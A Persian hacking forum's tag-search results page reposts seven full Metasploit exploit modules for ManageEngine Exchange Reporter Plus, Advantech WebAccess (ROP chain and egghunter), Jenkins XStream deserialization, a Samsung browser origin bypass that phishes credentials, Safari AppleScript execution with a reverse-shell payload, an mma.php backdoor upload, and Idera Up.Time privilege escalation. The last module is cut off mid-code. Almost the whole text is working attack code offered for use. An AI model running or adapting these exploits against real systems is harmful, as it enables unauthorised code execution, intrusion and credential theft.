امکانات انجمن
  • مهمانان محترم می توانند بدون عضویت در سایت در بخش پرسش و پاسخ به بحث و گفتگو پرداخته و در صورت وجود مشکل یا سوال در انجمنن مربوطه موضوع خود را مطرح کنند



iran rules jazbe modir
snapphost mahak

جستجو در تالارهای گفتگو

در حال نمایش نتایج برای برچسب های '(metasploit)'.



تنظیمات بیشتر جستجو

  • جستجو بر اساس برچسب

    برچسب ها را با , از یکدیگر جدا نمایید.
  • جستجو بر اساس نویسنده

نوع محتوا


تالارهای گفتگو

  • انجمن های اصلی تیم
    • قوانین و اساسنامه ی انجمن
    • آخرین خبرها
    • اطلاعیه ها
    • مدیران
    • دوره های آموزشی
    • انتقادات پیشنهادات
  • آموزش های تخصصی
    • برنامه نویسی
    • هکینگ
    • امنیت
    • شبکه
    • سخت افزار
    • متفرقه
  • پرسش و پاسخ (FAQ)
    • سوالات و مشکلات پیرامون برنامه نویسی
    • سوالات و مشکلات پیرامون هکینگ
    • سوالات و مشکلات پیرامون امنیت
    • سوالات و مشکلات پیرامون شبکه
    • سوالات و مشکلات پیرامون سخت افزار
    • سوالات و مشکلات پیرامون سیستم عامل
    • سوالات و درخواست های متفرقه
  • سیستم عامل
    • ویندوز
    • لینوکس
    • کالی لینوکس
    • اندروید
    • اپل
  • بخش ویژه (مخصوص اعضای ویژه)
    • هکینگ
    • امنیت
    • شبکه
    • متفرقه
  • پروژه های تیم
    • پروژه های نفوذ به سایت
    • پروژه های ساخت نرم افزار
    • پروژه های ساخت سایت
  • مسابقات
    • مسابقات امنیت و هکینگ
    • مسابقات برنامه نویسی
    • مسابقات کرکینگ
  • عمومی
    • توسعه دهندگان
    • ترفند های متفرقه
    • گرافیک
    • ربات تلگرام
  • بحث آزاد علمی
    • عمران و معماری
    • الکتروتکنیک
    • کتابخانه سراسری
  • بخش دریافت
    • دانلود نرم افزار
  • آرشیو
    • بایگانی

دسته ها

  • Articles

88 نتیجه پیدا شد

  1. اکسپلویت مدیریت موتور مبادله گزارشگر Plus - اجرای کد از راه دور (Metasploit) class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Manage Engine Exchange Reporter Plus Unauthenticated RCE', 'Description' => %q{ This module exploits a remote code execution vulnerability that exists in Exchange Reporter Plus <= 5310, caused by execution of bcp.exe file inside ADSHACluster servlet }, 'License' => MSF_LICENSE, 'Author' => [ 'Kacper Szurek <[email protected]>' ], 'References' => [ ['URL', 'https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html'] ], 'Platform' => ['win'], 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [['Automatic', {}]], 'DisclosureDate' => 'Jun 28 2018', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, 'The URI of the application', '/']), Opt::RPORT(8181), ]) end def bin_to_hex(s) s.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join end def check res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion') }) unless res vprint_error 'Connection failed' return CheckCode::Safe end unless res.code == 200 vprint_status 'Target is not Manage Engine Exchange Reporter Plus' return CheckCode::Safe end begin json = res.get_json_document raise if json.empty? || !json['BUILD_NUMBER'] rescue vprint_status 'Target is not Manage Engine Exchange Reporter Plus' return CheckCode::Safe end vprint_status "Version: #{json['BUILD_NUMBER']}" if json['BUILD_NUMBER'].to_i <= 5310 return CheckCode::Appears end CheckCode::Safe end def exploit res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'), 'vars_post' => { 'MTCALL' => "nativeClient", 'BCP_RLL' => "0102", 'BCP_EXE' => bin_to_hex(generate_payload_exe) } }) end end
  2. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Advantech WebAccess 8.2. By sending a specially crafted DCERPC request, an attacker could overflow the buffer and execute arbitrary code. }, 'Author' => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ], 'License' => MSF_LICENSE, 'References' => [ [ 'ZDI', '17-938' ], [ 'CVE', '2017-14016' ], [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 2048, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31', { 'Ret' => 0x07036cdc, # pop ebx; add esp, 994; retn 0x14 'Slide' => 0x07048f5b, # retn 'Jmp' => 0x0706067e # pop ecx; pop ecx; ret 0x04 } ], ], 'DisclosureDate' => 'Nov 02 2017', 'DefaultTarget' => 0)) register_options([ Opt::RPORT(4592)]) end def create_rop_chain() # this target opts into dep rop_gadgets = [ 0x020214c6, # POP EAX # RETN [BwKrlAPI.dll] 0x0203a134, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll] 0x02032fb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll] 0x070738ee, # XCHG EAX,ESI # RETN [BwPAlarm.dll] 0x0201a646, # POP EBP # RETN [BwKrlAPI.dll] 0x07024822, # & push esp # ret [BwPAlarm.dll] 0x070442dd, # POP EAX # RETN [BwPAlarm.dll] 0xffffffff, # Value to negate, will become 0x00000001 0x070467d2, # NEG EAX # RETN [BwPAlarm.dll] 0x0704de61, # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll] rand_text_alpha(4).unpack('V'), rand_text_alpha(4).unpack('V'), rand_text_alpha(4).unpack('V'), 0x02030af7, # POP EAX # RETN [BwKrlAPI.dll] 0xfbdbcbd5, # put delta into eax (-> put 0x00001000 into edx) 0x02029003, # ADD EAX,424442B # RETN [BwKrlAPI.dll] 0x0201234a, # XCHG EAX,EDX # RETN [BwKrlAPI.dll] 0x07078df5, # POP EAX # RETN [BwPAlarm.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x070467d2, # NEG EAX # RETN [BwPAlarm.dll] 0x07011e60, # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll] 0x0706fe66, # POP EDI # RETN [BwPAlarm.dll] rand_text_alpha(4).unpack('V'), rand_text_alpha(4).unpack('V'), 0x0703d825, # RETN (ROP NOP) [BwPAlarm.dll] 0x0202ca65, # POP EAX # RETN [BwKrlAPI.dll] 0x90909090, # nop 0x07048f5a, # PUSHAD # RETN [BwPAlarm.dll] ].flatten.pack("V*") return rop_gadgets end def exploit connect handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") # send the request to get the handle resp = dcerpc.call(0x4, [0x02000000].pack('V')) handle = resp.last(4).unpack('V').first print_good("Got a handle: 0x%08x" % handle) egg_options = { :eggtag => "0day" } egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options) # apparently this is called a ret chain overflow = [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Jmp']].pack('V') overflow << [target['Ret']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << [target['Slide']].pack('V') overflow << create_rop_chain() overflow << egghunter overflow << egg overflow << rand_text_alpha(0x1000-overflow.length) # sorry but I dont like msf's ndr class. sploit = [handle].pack('V') sploit << [0x000138bd].pack('V') # opcode we are attacking sploit << [0x00001000].pack('V') # size to copy sploit << [0x00001000].pack('V') # size of string sploit << overflow print_status("Trying target #{target.name}...") begin dcerpc_call(0x1, sploit) rescue Rex::Proto::DCERPC::Exceptions::NoResponse ensure disconnect end handler end end
  3. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins XStream Groovy classpath Deserialization Vulnerability', 'Description' => %q{ This module exploits CVE-2016-0792 a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath, which allows remote arbitrary code execution. The issue affects default installations. Authentication is not required to exploit the vulnerability. }, 'Author' => [ 'Arshan Dabirsiaghi', # Vulnerability discovery 'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module ], 'DisclosureDate' => 'Feb 24 2016', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-0792'], ['URL', 'https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'], ['URL', 'https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413'] ], 'Platform' => %w{ win linux unix }, 'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64], 'Targets' => [ ['Unix (In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD ], ['Python (In-Memory)', 'Platform' => 'python', 'Arch' => ARCH_PYTHON ], ['Linux (Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64] ], ['Windows (Dropper)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] ] ], 'DefaultTarget' => 0 )) register_options([ OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']), Opt::RPORT('8080') ]) deregister_options('URIPATH') end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) unless res fail_with(Failure::Unknown, 'The connection timed out.') end http_headers = res.headers if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f < 1.650 return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit case target.name when /Unix/, /Python/ execute_command(payload.encoded) else execute_cmdstager end end # Exploit methods def execute_command(cmd, opts = {}) cmd = case target.name when /Unix/, /Linux/ %W{/bin/sh -c #{cmd}} when /Python/ %W{python -c #{cmd}} when /Windows/ %W{cmd.exe /c #{cmd}} end # Encode each command argument with XML entities cmd.map! { |arg| arg.encode(xml: :text) } res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/createItem'), 'vars_get' => { 'name' => 'random' }, 'ctype' => 'application/xml', 'data' => xstream_payload(cmd) ) end def xstream_payload(cmd) <<EOF <map> <entry> <groovy.util.Expando> <expandoProperties> <entry> <string>hashCode</string> <org.codehaus.groovy.runtime.MethodClosure> <delegate class="groovy.util.Expando"/> <owner class="java.lang.ProcessBuilder"> <command> <string>#{cmd.join('</string><string>')}</string> </command> </owner> <method>start</method> </org.codehaus.groovy.runtime.MethodClosure> </entry> </expandoProperties> </groovy.util.Expando> <int>1</int> </entry> </map> EOF end end
  4. Hacking

    ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'Samsung Internet Browser SOP Bypass', 'Description' => %q( This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up. ), 'License' => MSF_LICENSE, 'Author' => [ 'Dhiraj Mishra', # Original discovery, disclosure 'Tod Beardsley', # Metasploit module 'Jeffrey Martin' # Metasploit module ], 'References' => [ [ 'CVE', '2017-17692' ], ['URL', 'http://fr.0day.today/exploit/description/28434'] ], 'DisclosureDate' => 'Nov 08 2017', 'Actions' => [[ 'WebServer' ]], 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer' ) ) register_options([ OptString.new('TARGET_URL', [ true, 'The URL to spoof origin from.', 'http://example.com/' ]), OptString.new('CUSTOM_HTML', [ true, 'HTML to display to the victim.', 'This page has moved. Please <a href="#">click here</a> to redirect your browser.' ]) ]) register_advanced_options([ OptString.new('CUSTOM_JS', [ false, "Custom Javascript to inject as the go() function. Use the variable 'x' to refer to the new tab.", '' ]) ]) end def run exploit # start http server end def evil_javascript return datastore['CUSTOM_JS'] unless datastore['CUSTOM_JS'].blank? js = <<-EOS setTimeout(function(){ x.document.body.innerHTML='<h1>404 Error</h1>'+ '<p>Oops, something went wrong.</p>'; a=x.prompt('E-mail',''); b=x.prompt('Password',''); var cred=JSON.stringify({'user':a,'pass':b}); var xmlhttp = new XMLHttpRequest; xmlhttp.open('POST', window.location, true); xmlhttp.send(cred); }, 3000); EOS js end def setup @html = <<-EOS <html> <meta charset="UTF-8"> <head> <script> function go(){ try { var x = window.open('#{datastore['TARGET_URL']}'); #{evil_javascript} } catch(e) { } } </script> </head> <body onclick="go()"> #{datastore['CUSTOM_HTML']} </body></html> EOS end def store_cred(username,password) credential_data = { origin_type: :import, module_fullname: self.fullname, filename: 'msfconsole', workspace_id: myworkspace_id, service_name: 'web_service', realm_value: datastore['TARGET_URL'], realm_key: Metasploit::Model::Realm::Key::WILDCARD, private_type: :password, private_data: password, username: username } create_credential(credential_data) end # This assumes the default schema is being used. # If it's not that, it'll just display the collected POST data. def collect_data(request) cred = JSON.parse(request.body) u = cred['user'] p = cred['pass'] if u.blank? || p.blank? print_good("#{cli.peerhost}: POST data received from #{datastore['TARGET_URL']}: #{request.body}") else print_good("#{cli.peerhost}: Collected credential for '#{datastore['TARGET_URL']}' #{u}:#{p}") store_cred(u,p) end end def on_request_uri(cli, request) case request.method.downcase when 'get' # initial connection print_status("#{cli.peerhost}: Request '#{request.method} #{request.uri}'") print_status("#{cli.peerhost}: Attempting to spoof origin for #{datastore['TARGET_URL']}") send_response(cli, @html) when 'post' # must have fallen for it collect_data(request) else print_error("#{cli.peerhost}: Unhandled method: #{request.method}") end end end
  5. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::EXE include Msf::Exploit::Remote::BrowserExploitServer def initialize(info = {}) super(update_info(info, 'Name' => 'Safari User-Assisted Applescript Exec Attack', 'Description' => %q{ In versions of Mac OS X before 10.11.1, the applescript:// URL scheme is provided, which opens the provided script in the Applescript Editor. Pressing cmd-R in the Editor executes the code without any additional confirmation from the user. By getting the user to press cmd-R in Safari, and by hooking the cmd-key keypress event, a user can be tricked into running arbitrary Applescript code. Gatekeeper should be disabled from Security & Privacy in order to avoid the unidentified Developer prompt. }, 'License' => MSF_LICENSE, 'Arch' => ARCH_CMD, 'Platform' => ['unix', 'osx'], 'Compat' => { 'PayloadType' => 'cmd' }, 'Targets' => [ [ 'Mac OS X', {} ] ], 'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_python' }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 16 2015', 'Author' => [ 'joev' ], 'References' => [ [ 'CVE', '2015-7007' ], [ 'URL', 'https://support.apple.com/en-us/HT205375' ] ], 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::SAFARI, :os_name => OperatingSystems::Match::MAC_OSX } )) register_options([ OptString.new('CONTENT', [false, "Content to display in browser", "This page has failed to load. Press cmd-R to refresh."]), OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) ], self.class) end def on_request_exploit(cli, request, profile) print_status("Sending #{self.name}") send_response_html(cli, exploit_html) end def exploit_html "<!doctype html><html><body>#{content}<script>#{exploit_js}</script></body></html>" end def exploit_js js_obfuscate %Q| var as = Array(150).join("\\n") + 'do shell script "echo #{Rex::Text.encode_base64(sh)} \| base64 --decode \| /bin/sh"'; var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as); window.onkeydown = function(e) { if (e.keyCode == 91) { window.location = url; } }; | end def sh 'killall "Script Editor"; nohup ' + payload.encoded end def content datastore['CONTENT'] end end
  6. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'nokogiri' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => 'Th3 MMA mma.php Backdoor Arbitrary File Upload', 'Description' => %q{ This module exploits Th3 MMA mma.php Backdoor which allows an arbitrary file upload that leads to arbitrary code execution. This backdoor also echoes the Linux kernel version or operating system version because of the php_uname() function. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jay Turla <@shipcod3>', ], 'References' => [ ['URL', 'http://blog.pages.kr/1307'] # Analysis of mma.php file upload backdoor ], 'Privileged' => false, 'Payload' => { 'Space' => 10000, 'DisableNops' => true }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [ ['mma file uploader', {} ] ], 'DisclosureDate' => 'Apr 2 2012', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI',[true, "The path of the mma.php file uploader backdoor", "/mma.php"]), ],self.class) # sometimes it is under host/images/mma.php so you may want to set this one end def has_input_name?(nodes, name) nodes.select { |e| e.attributes['name'].value == name }.empty? ? false : true end def check uri = normalize_uri(target_uri.path) res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) if res n = ::Nokogiri::HTML(res.body) form = n.at('form[@id="uploader"]') inputs = form.search('input') if has_input_name?(inputs, 'file') && has_input_name?(inputs, '_upl') return Exploit::CheckCode::Appears end end Exploit::CheckCode::Safe end def exploit uri = normalize_uri(target_uri.path) payload_name = "#{rand_text_alpha(5)}.php" print_status("#{peer} - Trying to upload #{payload_name} to mma.php Backdoor") data = Rex::MIME::Message.new data.add_part('Upload', nil, nil, 'form-data; name="_upl"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{payload_name}\"") post_data = data.to_s res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if res if res.body =~ /uplod d0n3 in SAME file/ print_good("#{peer} - Our payload #{payload_name} has been uploaded. Calling payload...") register_files_for_cleanup(payload_name) else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else fail_with(Failure::Unknown, 'Connection Timed Out') end send_request_cgi({ 'uri' => normalize_uri(payload_name), 'method' => 'GET' }) end end
  7. require 'msf/core' require 'nokogiri' class Metasploit4 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE def initialize(info = {}) super(update_info(info, 'Name' => 'Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload', 'Description' => %q{ This module exploits a vulnerability found in Uptime version 7.4.0 and 7.5.0. The vulnerability began as a classic arbitrary file upload vulnerability in post2file.php, which can be exploited by exploits/multi/http/uptime_file_upload_1.rb, but it was mitigated by the vendor. Although the mitigiation in place will prevent uptime_file_upload_1.rb from working, it can still be bypassed and gain privilege escalation, and allows the attacker to upload file again, and execute arbitrary commands. }, 'License' => MSF_LICENSE, 'Author' => [ 'Denis Andzakovic', # Found file upload bug in post2file.php in 2013 'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>', 'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>' ], 'References' => [ ['EDB', '37888'], ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5254.php'] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [['Automatic', {}]], 'Privileged' => 'true', 'DefaultTarget' => 0, # The post2file.php vuln was reported in 2013 by Denis Andzakovic. And then on Aug 2015, # it was discovered again by Ewerson 'Crash' Guimaraes. 'DisclosureDate' => 'Nov 18 2013' )) register_options( [ Opt::RPORT(9999), OptString.new('USERNAME', [true, 'The username to authenticate as', 'sample']), OptString.new('PASSWORD', [true, 'The password to authenticate with', 'sample']) ], self.class) register_advanced_options( [ OptString.new('UptimeWindowsDirectory', [true, 'Uptime installation path for Windows', 'C:\\Program Files\\uptime software\\']), OptString.new('UptimeLinuxDirectory', [true, 'Uptime installation path for Linux', '/usr/local/uptime/']), OptString.new('CmdPath', [true, 'Path to cmd.exe', 'c:\\windows\\system32\\cmd.exe']) ], self.class) end def print_status(msg='') super("#{rhost}:#{rport} - #{msg}") end def print_error(msg='') super("#{rhost}:#{rport} - #{msg}") end def print_good(msg='') super("#{rhost}:#{rport} - #{msg}") end # Application Check def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) ) unless res vprint_error("Connection timed out.") return Exploit::CheckCode::Unknown end n = Nokogiri::HTML(res.body) uptime_text = n.at('//ul[@id="uptimeInfo"]//li[contains(text(), "up.time")]') if uptime_text version = uptime_text.text.scan(/up\.time ([\d\.]+)/i).flatten.first vprint_status("Found version: #{version}") if version >= '7.4.0' && version <= '7.5.0' return Exploit::CheckCode::Appears end end Exploit::CheckCode::Safe end def create_exec_service(*args) cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs = *args res_service = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main.php'), 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_get' => { 'section' => 'ERDCInstance', 'subsection' => 'add', }, 'vars_post' => { 'initialERDCId' => '20', 'target' => '1', 'targetType' => 'systemList', 'systemList' => '1', 'serviceGroupList' => '-10', 'initialMode' => 'standard', 'erdcName' => 'Exploit', 'erdcInitialName' => '', 'erdcDescription' => 'Exploit', 'hostButton' => 'system', 'erdc_id' => '20', 'forceReload' => '0', 'operation' => 'standard', 'erdc_instance_id' => '', 'label_[184]' => 'Script Name', 'value_[184]' => cmd, 'id_[184]' => 'process', 'name_[process]' => '184', 'units_[184]' => '', 'guiBasic_[184]' => '1', 'inputType_[184]' => 'GUIString', 'screenOrder_[184]' => '1', 'parmType_[184]' => '1', 'label_[185]' => 'Arguments', 'value_[185]' => cmdargs, 'id_[185]' => 'args', 'name_[args]' => '185', 'units_[185]' => '', 'guiBasic_[185]' => '1', 'inputType_[185]' => 'GUIString', 'screenOrder_[185]' => '2', 'parmType_[185]' => '1', 'label_[187]' => 'Output', 'can_retain_[187]' => 'false', 'comparisonWarn_[187]' => '-1', 'comparison_[187]' => '-1', 'id_[187]' => 'value_critical_output', 'name_[output]' => '187', 'units_[187]' => '', 'guiBasic_[187]' => '1', 'inputType_[187]' => 'GUIString', 'screenOrder_[187]' => '4', 'parmType_[187]' => '2', 'label_[189]' => 'Response time', 'can_retain_[189]' => 'false', 'comparisonWarn_[189]' => '-1', 'comparison_[189]' => '-1', 'id_[189]' => 'value_critical_timer', 'name_[timer]' => '189', 'units_[189]' => 'ms', 'guiBasic_[189]' => '0', 'inputType_[189]' => 'GUIInteger', 'screenOrder_[189]' => '6', 'parmType_[189]' => '2', 'timing_[erdc_instance_monitored]' => '1', 'timing_[timeout]' => '60', 'timing_[check_interval]' => '10', 'timing_[recheck_interval]' => '1', 'timing_[max_rechecks]' => '3', 'alerting_[notification]' => '1', 'alerting_[alert_interval]' => '120', 'alerting_[alert_on_critical]' => '1', 'alerting_[alert_on_warning]' => '1', 'alerting_[alert_on_recovery]' => '1', 'alerting_[alert_on_unknown]' => '1', 'time_period_id' => '1', 'pageFinish' => 'Finish', 'pageContinue' => 'Continue...', 'isWizard' => '1', 'wizardPage' => '2', 'wizardNumPages' => '2', 'wizardTask' => 'pageFinish', 'visitedPage[1]' => '1', 'visitedPage[2]' => '1' }) end def exploit vprint_status('Trying to login...') # Application Login res_auth = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }) unless res_auth fail_with(Failure::Unknown, 'Connection timed out while trying to login') end # Check OS phpfile_name = rand_text_alpha(10) if res_auth.headers['Server'] =~ /Unix/ vprint_status('Found Linux installation - Setting appropriated PATH') phppath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'apache/bin/ph') uploadpath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'GUI/wizards') cmdargs = "#{uploadpath}#{phpfile_name}.txt" cmd = phppath else vprint_status('Found Windows installation - Setting appropriated PATH') phppath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'apache\\php\\php.exe') uploadpath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'uptime\\GUI\\wizards\\') cmd = datastore['CmdPath'] cmdargs = "/K \"\"#{phppath}\" \"#{uploadpath}#{phpfile_name}.txt\"\"" end if res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) cookie_split = res_auth.get_cookies.split(';') vprint_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") print_good('Login success') # Privilege escalation getting user ID res_priv = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'main.php'), 'vars_get' => { 'page' => 'Users', 'subPage' => 'UserContainer' }, 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" ) unless res_priv fail_with(Failure::Unknown, 'Connection timed out while getting userID.') end matchdata = res_priv.body.match(/UPTIME\.CurrentUser\.userId\.*/) unless matchdata fail_with(Failure::Unknown, 'Unable to find userID for escalation') end get_id = matchdata[0].gsub(/[^\d]/, '') vprint_status('Escalating privileges...') # Privilege escalation post res_priv_elev = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main.php'), 'vars_get' => { 'section' => 'UserContainer', 'subsection' => 'edit', 'id' => "#{get_id}" }, 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_post' => { 'operation' => 'submit', 'disableEditOfUsernameRoleGroup' => 'false', 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'passwordConfirm' => datastore['PASSWORD'], 'firstname' => rand_text_alpha(10), 'lastname' => rand_text_alpha(10), 'location' => '', 'emailaddress' => '', 'emailtimeperiodid' => '1', 'phonenumber' => '', 'phonenumbertimeperiodid' => '1', 'windowshost' => '', 'windowsworkgroup' => '', 'windowspopuptimeperiodid' => '1', 'landingpage' => 'MyPortal', 'isonvacation' => '0', 'receivealerts' => '0', 'activexgraphs' => '0', 'newuser' => 'on', 'newuser' => '1', 'userroleid' => '1', 'usergroupid[]' => '1' } ) unless res_priv_elev fail_with(Failure::Unknown, 'Connection timed out while escalating...') end # Refresing perms vprint_status('Refreshing perms...') res_priv = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php?loggedout'), 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}" ) unless res_priv fail_with(Failure::Unknown, 'Connection timed out while refreshing perms') end res_auth = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } ) unless res_auth fail_with(Failure::Unknown, 'Connection timed out while authenticating...') end if res_auth.get_cookies =~ /login=true/ cookie = Regexp.last_match(1) cookie_split = res_auth.get_cookies.split(';') vprint_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}") print_good('Priv. Escalation success') end # CREATING Linux EXEC Service if res_auth.headers['Server'] =~ /Unix/ vprint_status('Creating Linux Monitor Code exec...') create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs) else # CREATING Windows EXEC Service# vprint_status('Creating Windows Monitor Code exec...') create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs) end # Upload file vprint_status('Uploading file...') up_res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'wizards', 'post2file.php'), 'vars_post' => { 'file_name' => "#{phpfile_name}.txt", 'script' => payload.encoded } ) unless up_res fail_with(Failure::Unknown, 'Connection timed out while uploading file.') end vprint_status('Checking Uploaded file...') res_up_check = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'wizards', "#{phpfile_name}.txt") ) if res_up_check && res_up_check.code == 200 print_good("File found: #{phpfile_name}") else print_error('File not found') return end # Get Monitor ID vprint_status('Fetching Monitor ID...') res_mon_id = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'ajax', 'jsonQuery.php'), 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_get' => { 'query' => 'GET_SERVICE_PAGE_ERDC_LIST', 'iDisplayStart' => '0', 'iDisplayLength' => '10', 'sSearch' => 'Exploit' } ) unless res_mon_id fail_with(Failure::Unknown, 'Connection timed out while fetching monitor ID') end matchdata = res_mon_id.body.match(/id=?[^>]*>/) unless matchdata fail_with(Failure::Unknown, 'No monitor ID found in HTML body. Unable to continue.') end mon_get_id = matchdata[0].gsub(/[^\d]/, '') print_good("Monitor id aquired:#{mon_get_id}") # Executing monitor send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'main.php'), 'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}", 'vars_post' => { 'section' => 'RunERDCInstance', 'subsection' => 'view', 'id' => mon_get_id, 'name' => 'Exploit' } ) else print_error('Cookie 